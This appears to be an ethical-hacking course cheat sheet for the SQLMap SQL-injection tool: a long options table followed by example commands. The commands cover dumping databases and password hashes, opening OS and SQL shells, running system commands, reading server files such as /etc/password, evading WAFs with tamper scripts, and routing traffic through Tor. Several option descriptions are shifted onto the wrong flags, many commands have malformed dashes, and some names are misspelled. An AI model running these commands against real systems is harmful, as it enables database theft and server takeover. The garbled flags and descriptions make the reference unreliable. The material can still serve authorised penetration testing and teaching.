Ethical Hacking and Countermeasures

SQLMap Cheat Sheet

SQLMap

Source: http://sqlmap.org, https://github.com

SQLMap is an open-source penetration testing tool for detecting and exploiting SQL injection flaws and taking over of database servers. It includes many features such as database fingerprinting, over data fetching from the database, accessing the underlying file system and executing commands on the operating system via out-of-band connections

SQLMap Options

Syntax

```
python sqlmap [options]
```

Options

`-u URL`
`or`
`--url=URL`
	Target URL

`-g GOOGLEDORK`	Process Google dork results as target URLs
`--data=DATA`	Send data string through POST
`--cookie=COOKIE`	HTTP cookie header value
`--random-agent`	Use randomly selected HTTP User-Agent header value
`--proxy=PROXY`	Use a proxy to connect to the target URL
`--tor`	Use Tor anonymity network
`--check-tor`	Verify if Tor is used properly
`--level=LEVEL`	Specify the level of tests to perform (1-5, default 1)
`--risk=RISK`	Specify the risk of tests to perform (1-3, default 1)
`--technique=TECH`	Specify SQL injection techniques to use (default "BEUSTQ")

`-a`
`or`
`--all`
	Retrieve everything

`-b`
`or`
`--banner`
	Retrieve DBMS banner

`--current-user`	Retrieve DBMS current user
`--current-db`	Retrieve DBMS current database
`--passwords`	Enumerate DBMS user’s password hashes
`--tables`	Enumerate DBMS database tables
`--columns`	Enumerate DBMS database table columns
`--schema`	Enumerate DBMS schema
`--dump`	Dump DBMS database table entries
`--dump-all`	Dump all DBMS databases tables entries
`-D DB`	DBMS database to enumerate

Options

`-T TBL`	DBMS database table(s) to enumerate
`-C COL`	DBMS database table column(s) to enumerate
`--os-shell`	Prompt for an interactive operating system shell
`--os-pwn`	Prompt for an OOB shell, Meterpreter or VNC
`--batch`	Do not ask for user input, use the default behavior
`--flush-session`	Flush session files for the current target
`--sqlmap-shell`	Prompt for an interactive sqlmap shell
`--wizard`	Simple wizard interface for beginner users
`-d DIRECT`	Specify connection string for direct database connection
`-l LOGFILE`	Parse target(s) from Burp or WebScarab proxy log file
`-m BULKFILE`	Scan multiple targets given in a textual file
`r REQUESTFILE`	Load HTTP request from a file
`-c CONFIGFILE`	Load options from a configuration INI file
`--method=METHOD`	Force usage of the given HTTP method
`--param-del=PARA..`	Specify character used for splitting parameter values
`--cookie-del=COO..`	Specify character used for splitting cookie values
`--load-cookies=L..`	Specify a file containing cookies in Netscape/wget format
`--drop-set-cookie`	Ignore Set-Cookie header from the response
`--user-agent=AGENT`	Specify HTTP User-Agent header value
`--host=HOST`	Specify HTTP Host header value
`--referer=REFERER`	Specify HTTP Referer header value

`-H HEADER`
`or`
`--hea..`
	Specify Extra header

`--headers=HEADERS`	Specify Extra headers
`--auth-type=AUTH..`	Specify HTTP authentication type
`--auth-cred=AUTH..`	Specify HTTP authentication credentials
`--auth-file=AUTH..`	Specify HTTP authentication PEM cert/private key file
`--ignore-code=IG..`	Ignore (problematic) HTTP error code (e.g. 401)

Options

`--ignore-proxy`	Ignore system default proxy settings
`--ignore-redirects`	Ignore redirection attempts
`--ignore-timeouts`	Ignore connection timeouts
`--proxy=PROXY`	Use a proxy to connect to the target URL
`--proxy-cred=PRO..`	Specify proxy authentication credentials
`--proxy-file=PRO..`	Load proxy list from a file
`--tor-port=TORPORT`	Set Tor proxy port other than the default
`--tor-type=TORTYPE`	Set Tor proxy type
`--delay=DELAY`	Delay in seconds between each HTTP request
`--timeout=TIMEOUT`	Seconds to wait before timeout connection
`--retries=RETRIES`	Retries when the connection timeouts
`--randomize=RPARAM`	Randomly change the value for a given parameter(s)
`--safe-url=SAFEURL`	The URL address to visit frequently during testing
`--safe-post=SAFE..`	POST data to send to a safe URL
`--safe-req=SAFER..`	Load safe HTTP request from a file
`--safe-freq=SAFE..`	Specify test requests between two visits to a given safe URL
`--skip-urlencode`	Skip URL encoding of payload data
`--csrf-token=CSR..`	Specify parameter used to hold the anti-CSRF token
`--csrf-url=CSRFURL`	Specify URL address to visit for extraction of anti-CSRF token
`--force-ssl`	Force usage of SSL/HTTPS
`--hpp`	Use HTTP parameter pollution method
`--eval=EVALCODE`	Evaluate provided Python code before the request
`-o`	Turn on all optimization switches
`--predict-output`	Predict common queries output
`--keep-alive`	Use persistent HTTP(s) connections
`--null-connection`	Retrieve page length without the actual HTTP response body
`--threads=THREADS`	Specify max number of concurrent HTTP(s) requests (default 1)

Syntax	
`-p TESTPARAMETER`	Specify testable parameter(s)
`--skip=SKIP`	Skip testing for a given parameter(s)
`--skip-static`	Skip testing parameters that do not appear to be dynamic
`--param-exclude=..`	Specify regexp to exclude parameters from testing
`--dbms=DBMS`	Specify regexp to exclude parameters from testing
`--dbms-cred=DBMS..`	Force back-end DBMS to the provided value
`--os=OS`	Specify DBMS authentication credentials
`--invalid-bignum`	Force back-end DBMS operating system to the provided value
`--invalid-logical`	Use big numbers for invalidating values
`--invalid-string`	Use random strings for invalidating values
`--no-cast`	Turn off payload casting mechanism
`--no-escape`	Turn off string escaping mechanism
`--prefix=PREFIX`	Injection payload prefix string
`--suffix=SUFFIX`	Injection payload suffix string
`--tamper=TAMPER`	Use given script(s) for tampering injection data
`--string=STRING`	Specify the string to match when the query is evaluated to True
`--not-string=NOT..`	Specify the string to match when the query is evaluated to False
`--regexp=REGEXP`	Specify regexp to match when the query is evaluated to True
`--code=CODE`	Specify HTTP code to match when the query is evaluated to True
`--text-only`	Compare pages based only on the textual content
`--titles`	Compare pages based only on their titles
`--time-sec=TIMESEC`	Specify seconds to delay the DBMS response
`--union-cols=UCOLS`	Specify a range of columns to test for UNION query SQL injection
`--union-char=UCHAR`	Specify character to use for brute-forcing number of columns
`--union-from=UFROM`	Specify table to use in FROM part of UNION query SQL injection
`--dns-domain=DNS..`	Specify domain name used for DNS exfiltration attack
`--second-url=SEC..`	Resulting page URL searched for a second-order response

Options	
`--second-req=SEC..`	Load second-order HTTP request from the file

`-f`
or
`--fingerprint`
	Perform an extensive DBMS version fingerprint

`--hostname`	Retrieve DBMS server hostname
`--is-dba`	Detect if the DBMS current user is DBA
`--users`	Enumerate DBMS users
`--privileges`	Enumerate DBMS users' privileges
`--roles`	Enumerate DBMS users' roles
`--dbs`	Enumerate DBMS databases
`--count`	Retrieve the number of entries for the table(s)
`--search`	Search column(s), table(s) and/or database name(s)
`--comments`	Check for DBMS comments during enumeration
`-X EXCLUDE`	DBMS database identifier(s) to not enumerate
`-U USER`	DBMS user to enumerate
`--exclude-sysdbs`	Exclude DBMS system databases when enumerating tables
`--pivot-column=P..`	Pivot column name
`--where=DUMPWHERE`	Use WHERE condition while table dumping
`--start=LIMITSTART`	First dump table entry to retrieve
`--stop=LIMITSTOP`	Last dump table entry to retrieve
`--first=FIRSTCHAR`	First query output word character to retrieve
`--last=LASTCHAR`	Last query output word character to retrieve
`--sql-query=QUERYR`	Specify SQL statement to be executed
`--sql-shell`	Prompt for an interactive SQL shell
`--sql-file=SQLFILE`	Execute SQL statements from a given file(s)
`--common-tables`	Verify the existence of common tables
`--common-columns`	Verify the existence of common columns
`--udf-inject`	Inject custom user-defined functions
`--shared-lib=SHLIB`	Local path of the shared library
`--file-read=FILE..`	Read a file from the back-end DBMS file system
`--file-write=FIL..`	Write a local file on the back-end DBMS file system

Options	
`--file-dest=FILE..`	Back-end DBMS absolute file path to write to
`--os-cmd=OSCMD`	Execute an operating system command
`--os-smbrelay`	One-click prompts for an OOB shell, Meterpreter or VNC
`--os-bof`	Stored procedure buffer overflow exploitation
`--priv-esc`	Database process user privilege escalation
`--msf-path=MSFPATH`	The local path where Metasploit Framework is installed
`--tmp-path=TMPPATH`	The remote absolute path of temporary files directory
`--reg-read`	Read a Windows registry key value
`--reg-add`	Write a Windows registry key value data
`--reg-del`	Delete a Windows registry key value
`--reg-key=REGKEY`	Windows registry key
`--reg-value=REGVAL`	Windows registry key value
`--reg-data=REGDATA`	Windows registry key value data
`--reg-type=REGTYPE`	Windows registry key value type
`-s SESSIONFILE`	Load session from a stored (.sqlite) file
`-t TRAFFICFILE`	Log all HTTP traffic into a textual file
`--binary-fields=..`	Specify result fields having binary values
`--check-internet`	Verify Internet connection before assessing the target
`--crawl=CRAWLDEPTH`	Crawl the website starting from the target URL
`--crawl-exclude=..`	Specify regexp to exclude pages from crawling
`--csv-del=CSVDEL`	Specify delimiting character used in CSV output
`--charset=CHARSET`	Specify blind SQL injection charset
`--dump-format=DU..`	Specify format of dumped data
`--encoding=ENCOD..`	Specify character encoding used for data retrieval
`--eta`	Display for each output the estimated time of arrival
`--forms`	Parse and test forms on target URL
`--fresh-queries`	Ignore query results stored in the session file
`--har=HARFILE`	Log all HTTP traffic into a HAR file
`--hex`	Use hex conversion during data retrieval

Ethical Hacking and Countermeasures
SQLMap Cheat Sheet

SQLMap Commands

Command	Description
`sqlmap -u <Target URL> -p id`	Scans GET Request
`sqlmap -u <Target URL>–data=”user=admin&password=admin” -p user`	Scans POST Request
`sqlmap -u <Target URL> –cookie=”cookie value”`	Scans POST Login Pages
`sqlmap -u <Target URL> -crawl=1`	Defines a depth to crawl
`sqlmap -u <Target URL> -p id –proxy=”http://localhost:8080”`	SQLMap Through Proxy
`sqlmap -u <Target URL> --crawl3 --batch`	The batch command to use the default value to proceed without asking the user
`sqlmap -u <Target URL> --forms`	Form command to parse the page and guide the user to test the identified fields
`sqlmap -u <Target URL> --dbs –threads=5`	Threads command to define the number of concurrent requests to be sent by the SQLMap tool
`sqlmap -u <Target URL> -v 3`	Verbose to see the payload being sent by the tool
`sqlmap -u <Target URL> --dbs`	Database Enumeration
`python sqlmap -u <Target URL> --tamper=apostrophemask,apostrophenullencode`	To Bypass WAF
`sqlmap -u <Target URL> -os-shell`	Run system commands for Linux server
`sqlmap -u <Target URL> -os-cmd <cmd>`	Run system commands for windows server
`sqlmap -u <Target URL> -sql-shell`	Run SQL queries
`sqlmap -u <Target URL> -auth-type Basic -auth-cred “admin:admin”`	Scans a page protected by HTTP authentication like Basic, NTLM, and Digest
`sqlmap -u <Target URL> —auth-file=<path to PEM certificate or private key file>`	Scans a page protected by a key-based authentication
`sqlmap -u <Target URL> -tor`	To use the default Tor anonymity network
`sqlmap -u <Target URL>-tor-port=<tor proxy port>`	To define a Tor port
`sqlmap -u <Target URL> -delay=1 #1 second delay`	If a delay is required between each HTTP request
`sqlmap -u <Target URL> -csrf-token=<csrf token>`	Including CSRF token in the command
`sqlmap -r /root/Desktop/Burp.txt -second-order “<Target URL>”`	Second-Order SQL injection
`python sqlmap.py -u <Target URL> -is-dba -v 1`	Analyzing that the current user is dba
`python sqlmap.py -u <Target URL> -users -v 0`	User list database management system

`python sqlmap.py -u <Target URL> -passwords -v 0`
or
`python sqlmap.py -u <Target URL> -passwords -U sa -v 0`
	Database user password

Command	Description

`python sqlmap.py -u <Target URL> -privileges -v 0`
or
`python sqlmap.py -u <Target URL> -privileges -U postgres -v 0`
	To view the user permissions

`python sqlmap.py -u <Target URL> -dbs -v 0`	dbs can use the database
`python sqlmap.py -u <Target URL> -tables -D “information_scheam”`	Tables column in a table
`python sqlmap.py -u <Target URL> -columns -T “user” -D “mysql” -v 1`	Columns are listed in the table column names
`python sqlmap.py -u <Target URL> -dump -T “users” -D “testdb”`	Dump the contents of the column specified in the list
`python sqlmap.py -u <Target URL> -dump-all -v 0`	dumap-all List all databases, all tables content
`python sqlmap.py -u <Target URL> -file / etc / password`	File to read the content of the document [load_file () function]
`python sqlmap.py -u <Target URL> -sql-shell`	Execute SQL
`python sqlmap.py -u <Target URL> -method POST -data “id = 1”`	POST submission
`python sqlmap.py -u <Target URL> -cookie “id = 1” -v 1`	COOKIE Submit
`python sqlmap.py -u <Target URL> -refer “url” -v 3`	Refer to deceive

`python sqlmap.py -u <Target URL> -user-agent “Mozilla / 4.0 (compatible; MSIE 7.0; Windows NT 5.1)” -v 3`
or
`python sqlmap.py -u <Target URL> -v 1 -a “./txt/user-agents.txt”`
	Using a custom user-agent or user-agents.txt

`python sqlmap.py -u <Target URL> -v 1 -current-user -threads 3`	Use of multithreading guess solution
`python sqlmap.py -u <Target URL> -v 2 -dbms “PostgreSQL”`	Specify the database, bypassing the automatic detection SQLMAP
`python sqlmap.py -u <Target URL> -v 2 -os “Windows”`	Specifies the operating system automatically detects the bypass SQLMAP
`python sqlmap.py -u <Target URL> -v 3 -p “id” -prefix ” ‘” -postfix “and’ test ‘=’ test”`	Prefix and –postfix custom payload
`python sqlmap.py -u <Target URL> -union-test -v -1`	Union injection test
`python sqlmap.py -u <Target URL> -union-test -union-tech orderby -v 1`	With the order by
`python sqlmap -u "<Target URL>" --cookies= --data=`	Parsing directly into SQLMap
`python sqlmap -u "<Target URL>" --risk=3 --level=5`	Increase the Risk and Level value